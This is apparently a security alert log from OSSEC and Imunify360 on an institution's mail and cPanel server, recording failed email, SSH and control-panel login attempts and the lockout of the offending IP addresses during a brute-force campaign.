2025-01-26 19:51:13 dovecot_login authenticator failed for ([221.209.48.203]) [221.209.48.203]:59352: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.130.181.74
description:
Jan 26 19:51:34 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.130.181.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.22.37.184
description:
2025-01-26 19:51:35 dovecot_plain authenticator failed for ([217.22.37.184]) [217.22.37.184]:60961: 535 Incorrect authentication data (set_id=eng88b00888y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.160.17.165
description:
Jan 26 19:51:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.160.17.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.17.165
description:
2025-01-26 19:51:44 dovecot_plain authenticator failed for (abts-north-static-165.17.160.122.airtelbroadband.in) [122.160.17.165]:36100: 535 Incorrect authentication data (set_id=eng88b00888y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.224.55.22
description:
Jan 26 19:51:25 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.224.55.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.224.55.22
description:
2025-01-26 19:51:27 dovecot_plain authenticator failed for ([58.224.55.22]) [58.224.55.22]:58792: 535 Incorrect authentication data (set_id=abs2@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
description:
2025-01-26 19:51:24 dovecot_login authenticator failed for host-196-47-172-253.afnet.net [196.47.172.253]:38678: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.22.37.184
description:
Jan 26 19:51:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.22.37.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.72.83.179
description:
2025-01-26 19:52:47 dovecot_plain authenticator failed for ([178.72.83.179]) [178.72.83.179]:55684: 535 Incorrect authentication data (set_id=assdas2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.185.225.50
description:
Jan 26 19:52:13 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.185.225.50 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.150.192.74
description:
[2025-01-26 19:52:28 +0100] info [webmaild] 187.150.192.74 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.134.96.117
description:
Jan 26 19:52:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.134.96.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.230.127.217
description:
Jan 26 19:52:38 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.230.127.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.127.217
description:
2025-01-26 19:52:40 dovecot_plain authenticator failed for ([213.230.127.217]) [213.230.127.217]:44898: 535 Incorrect authentication data (set_id=eng20a00022y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.72.83.179
description:
Jan 26 19:52:45 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.72.83.179 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.33.109.90
description:
Jan 26 19:52:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.33.109.90 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 87.249.38.253
domain: mail.ait-open.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:nii-quaye||WPU:nii-quaye||RSV:6.65||T:APACHE||MV:19-52.87.249.38.253


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 26 19:52:00 ait sshd[2421643]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 26 19:52:00 ait sshd[2421643]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.134.96.117
description:
2025-01-26 19:52:33 dovecot_plain authenticator failed for ([207.134.96.117]) [207.134.96.117]:60108: 535 Incorrect authentication data (set_id=assdas2@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.33.109.90
description:
2025-01-26 19:52:52 dovecot_plain authenticator failed for (90.109.33.58.broad.xw.sh.dynamic.163data.com.cn) [58.33.109.90]:56480: 535 Incorrect authentication data (set_id=eng20a00022y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.4.195.146
description:
Jan 26 19:51:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.4.195.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.185.225.50
description:
2025-01-26 19:52:15 dovecot_plain authenticator failed for ([220.185.225.50]) [220.185.225.50]:40880: 535 Incorrect authentication data (set_id=wilfri17)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 26 19:51:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 142.4.195.146
description:
2025-01-26 19:51:57 dovecot_plain authenticator failed for (ip146.ip-142-4-195.net) [142.4.195.146]:36844: 535 Incorrect authentication data (set_id=wilfri17@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.140.191.131
description:
Jan 26 19:53:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.140.191.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 26 19:52:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.66
description:
2025-01-26 19:53:14 dovecot_login authenticator failed for ([92.118.39.66]) [92.118.39.66]:54288: 535 Incorrect authentication data (set_id=demo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.158.239.144
description:
2025-01-26 19:53:35 dovecot_login authenticator failed for ([178.158.239.144]) [178.158.239.144]:52063: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
description:
2025-01-26 19:53:43 dovecot_plain authenticator failed for ([121.179.93.147]) [121.179.93.147]:45934: 535 Incorrect authentication data (set_id=ads20b00370y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.124.42.85
description:
2025-01-26 19:53:43 dovecot_plain authenticator failed for ([203.124.42.85]) [203.124.42.85]:50596: 535 Incorrect authentication data (set_id=masomani@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.244.126.105
description:
2025-01-26 19:53:44 dovecot_plain authenticator failed for 92-244-126-105.kievnet.com.ua (kaggergly) [92.244.126.105]:50960: 535 Incorrect authentication data (set_id=ads20b00296y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.162.187
description:
Jan 26 19:53:52 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.162.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.143.30.155
description:
2025-01-26 19:53:54 dovecot_plain authenticator failed for ([222.143.30.155]) [222.143.30.155]:43022: 535 Incorrect authentication data (set_id=masomani)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.178.110.65
description:
Jan 26 19:53:28 ait sshd[2422171]: pam_imunify(sshd:auth): [IM360_RBL] The IP 195.178.110.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.162.187
description:
2025-01-26 19:53:54 dovecot_plain authenticator failed for (frilingist) [65.20.162.187]:45475: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 26 19:53:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.124.42.85
description:
Jan 26 19:53:41 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.124.42.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.179.93.147
description:
Jan 26 19:53:41 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.179.93.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.244.126.105
description:
Jan 26 19:53:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.244.126.105 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.140.191.131
description:
2025-01-26 19:53:44 dovecot_login authenticator failed for broadband-178-140-191-131.ip.moscow.rt.ru [178.140.191.131]:44715: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.39.66
description:
Jan 26 19:53:12 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.39.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.143.30.155
description:
Jan 26 19:53:52 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.143.30.155 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 195.178.110.65
description:
Jan 26 19:53:28 ait sshd[2422171]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=195.178.110.65


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.158.239.144
description:
Jan 26 19:53:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.158.239.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.233
description:
Jan 26 19:54:12 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.233 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.124.54.14
description:
Jan 26 19:54:25 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.124.54.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.215.254.115
description:
2025-01-26 19:53:57 dovecot_plain authenticator failed for 217-215-254-115-no2460.tbcn.telia.com (prewga) [217.215.254.115]:40110: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.190.41.137
description:
Jan 26 19:54:02 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.190.41.137 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.118.173.234
description:
Jan 26 19:54:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.118.173.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.233
description:
2025-01-26 19:54:14 dovecot_plain authenticator failed for (nsg-corporate-233.228.187.122.airtel.in) [122.187.228.233]:50687: 535 Incorrect authentication data (set_id=eng16b00239y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.124.54.14
description:
2025-01-26 19:54:27 dovecot_plain authenticator failed for ([103.124.54.14]) [103.124.54.14]:40445: 535 Incorrect authentication data (set_id=ads23a00018y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.110.35.73
description:
[2025-01-26 19:54:01 +0100] info [webmaild] 190.110.35.73 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.41.137
description:
2025-01-26 19:54:04 dovecot_plain authenticator failed for ([196.190.43.139]) [196.190.41.137]:37638: 535 Incorrect authentication data (set_id=eng16b00239y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.38.100.151
description:
2025-01-26 19:54:16 dovecot_plain authenticator failed for ([209.38.100.151]) [209.38.100.151]:36780: 535 Incorrect authentication data (set_id=ads23a00018y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.215.254.115
description:
Jan 26 19:53:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.215.254.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.118.173.234
description:
2025-01-26 19:54:09 dovecot_plain authenticator failed for ([220.118.173.234]) [220.118.173.234]:41954: 535 Incorrect authentication data (set_id=ads20b00370y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.38.100.151
description:
Jan 26 19:54:14 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.38.100.151 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.247.127.251
description:
2025-01-26 19:55:02 dovecot_plain authenticator failed for ([211.247.127.251]) [211.247.127.251]:41134: 535 Incorrect authentication data (set_id=ads32b11317y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.143.241.150
description:
Jan 26 19:55:25 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.143.241.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.143.241.150
description:
2025-01-26 19:55:27 dovecot_plain authenticator failed for ([61.143.241.150]) [61.143.241.150]:37767: 535 Incorrect authentication data (set_id=abs4@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.20.146
description:
Jan 26 19:55:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.20.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.227.87.29
description:
Jan 26 19:55:35 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.227.87.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.20.146
description:
2025-01-26 19:55:35 dovecot_plain authenticator failed for ([31.173.20.146]) [31.173.20.146]:50292: 535 Incorrect authentication data (set_id=eng67b66769@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.155.149
description:
Jan 26 19:55:39 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.155.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.247.127.251
description:
Jan 26 19:55:00 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.247.127.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.222.91.247
description:
Jan 26 19:55:09 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.222.91.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.222.91.247
description:
2025-01-26 19:55:11 dovecot_plain authenticator failed for ([187.218.57.50]) [129.222.91.247]:32775: 535 Incorrect authentication data (set_id=ads32b11317y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.227.87.29
description:
2025-01-26 19:55:37 dovecot_plain authenticator failed for ([106.227.87.29]) [106.227.87.29]:49098: 535 Incorrect authentication data (set_id=abs4)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.155.149
description:
2025-01-26 19:55:41 dovecot_plain authenticator failed for (m121-202-155-149.smartone.com) [121.202.155.149]:53378: 535 Incorrect authentication data (set_id=odom-oduro@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.37.179.83
description:
2025-01-26 19:55:57 dovecot_plain authenticator failed for ([200.37.179.83]) [200.37.179.83]:39373: 535 Incorrect authentication data (set_id=eng67b66769)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.66.180.131
description:
Jan 26 19:56:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.66.180.131 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.36.31
description:
[2025-01-26 19:56:16 +0100] info [cpaneld] 104.207.36.31 - sates1 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sates1 (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.158.42
description:
Jan 26 19:55:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.158.42 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.109.115
description:
[2025-01-26 19:56:19 +0100] info [whostmgrd] 156.228.109.115 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.47.183
description:
[2025-01-26 19:56:15 +0100] info [cpaneld] 104.207.47.183 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ait (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.102.142
description:
[2025-01-26 19:56:17 +0100] info [whostmgrd] 156.228.102.142 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.86.36
description:
[2025-01-26 19:56:18 +0100] info [whostmgrd] 156.228.86.36 - sates1 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.55.85.202
description:
Jan 26 19:56:41 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.55.85.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 26 19:56:05 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 162.214.201.195
description:
Jan 26 19:56:08 ait sshd[2423529]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=162.214.201.195


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.102.240
description:
[2025-01-26 19:56:18 +0100] info [whostmgrd] 156.228.102.240 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.174.122.213
description:
Jan 26 19:56:19 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.174.122.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.158.138.179
description:
2025-01-26 19:56:34 dovecot_plain authenticator failed for ([103.158.138.179]) [103.158.138.179]:44176: 535 Incorrect authentication data (set_id=fusheini@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 162.214.201.195
description:
Jan 26 19:56:08 ait sshd[2423529]: pam_imunify(sshd:auth): [IM360_RBL] The IP 162.214.201.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.66.180.131
description:
2025-01-26 19:56:09 dovecot_plain authenticator failed for (inest) [82.66.180.131]:56444: 535 Incorrect authentication data (set_id=mappiah@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.87.104
description:
[2025-01-26 19:56:17 +0100] info [cpaneld] 156.228.87.104 - sates1 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sates1 (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.122.213
description:
2025-01-26 19:56:21 dovecot_plain authenticator failed for (177-174-122-213.user.vivozap.com.br) [177.174.122.213]:48036: 535 Incorrect authentication data (set_id=ads20a00130y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.106.172.226
description:
2025-01-26 19:56:10 dovecot_plain authenticator failed for c-73-106-172-226.hsd1.ga.comcast.net [73.106.172.226]:39732: 535 Incorrect authentication data (set_id=ads20a00130y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.114.248
description:
[2025-01-26 19:56:15 +0100] info [cpaneld] 156.228.114.248 - sates1 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sates1 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.38.191
description:
[2025-01-26 19:56:19 +0100] info [whostmgrd] 104.207.38.191 - sates1 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.85.202
description:
2025-01-26 19:56:43 dovecot_plain authenticator failed for ([196.191.212.226]) [213.55.85.202]:2353: 535 Incorrect authentication data (set_id=fusheini)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.37.179.83
description:
Jan 26 19:55:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.37.179.83 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.200.158.42
description:
2025-01-26 19:55:57 dovecot_plain authenticator failed for (186-201-3-45.customer.tdatabrasil.net.br) [186.200.158.42]:49871: 535 Incorrect authentication data (set_id=odom-oduro)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.106.172.226
description:
Jan 26 19:56:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.106.172.226 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.43.163
description:
[2025-01-26 19:56:16 +0100] info [cpaneld] 104.207.43.163 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aitedugh (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.102.7
description:
[2025-01-26 19:56:20 +0100] info [whostmgrd] 156.228.102.7 - sates1 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.158.138.179
description:
Jan 26 19:56:32 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.158.138.179 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.0.155.162
description:
[2025-01-26 19:57:29 +0100] info [webmaild] 170.0.155.162 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.207.241.168
description:
2025-01-26 19:57:30 dovecot_plain authenticator failed for ([154.65.33.26]) [196.207.241.168]:48588: 535 Incorrect authentication data (set_id=eng20a00098y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.207.241.168
description:
Jan 26 19:57:28 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.207.241.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.87.84.104
description:
2025-01-26 19:56:59 dovecot_plain authenticator failed for (driomph) [88.87.84.104]:35505: 535 Incorrect authentication data (set_id=mappiah@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.180.118.166
description:
Jan 26 19:57:39 ait sshd[2424085]: pam_imunify(sshd:auth): [IM360_RBL] The IP 210.180.118.166 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 210.180.118.166
description:
Jan 26 19:57:39 ait sshd[2424085]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=210.180.118.166  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.204.162.116
description:
2025-01-26 19:57:21 dovecot_plain authenticator failed for ([82.204.162.116]) [82.204.162.116]:49002: 535 Incorrect authentication data (set_id=eng20a00098y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.203.100
description:
Jan 26 19:57:46 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.203.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.203.100
description:
2025-01-26 19:57:48 dovecot_plain authenticator failed for (m121-202-203-100.smartone.com) [121.202.203.100]:61264: 535 Incorrect authentication data (set_id=jobs@jaster.us)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.87.84.104
description:
Jan 26 19:56:57 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.87.84.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.204.162.116
description:
Jan 26 19:57:19 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.204.162.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.81.133.182
description:
Jan 26 19:57:58 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.81.133.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.255.143.123
description:
2025-01-26 19:58:41 dovecot_login authenticator failed for ([197.255.143.123]) [197.255.143.123]:55960: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.81.133.182
description:
2025-01-26 19:58:00 dovecot_plain authenticator failed for ([61.81.133.182]) [61.81.133.182]:51908: 535 Incorrect authentication data (set_id=jobs)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 213.230.82.109
description:
[2025-01-26 19:58:07 +0100] info [webmaild] 213.230.82.109 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.160.166.237
description:
Jan 26 19:58:39 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.160.166.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.188.196.133
description:
2025-01-26 19:58:50 dovecot_plain authenticator failed for ([121.188.196.133]) [121.188.196.133]:38057: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.68.38.78
description:
2025-01-26 19:58:05 dovecot_plain authenticator failed for ([103.68.38.78]) [103.68.38.78]:52738: 535 Incorrect authentication data (set_id=eng20a00052y@ait.edu.gh)


plugin: ossec
rule: 6013
